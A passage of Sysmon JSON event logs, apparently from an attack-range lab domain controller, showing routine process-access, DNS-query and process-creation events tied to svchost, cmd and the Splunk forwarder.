11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001030450300}\r\nTargetProcessId: 2288\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001030450300}","TargetProcessId":"2288","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2002,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.925\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107D140200}\r\nProcessId: 2564\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\dfsrs.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.925","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107D140200}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\dfsrs.exe","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.879\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010DA460300}\r\nProcessId: 4092\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinEventLog.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.879","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010DA460300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinEventLog.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 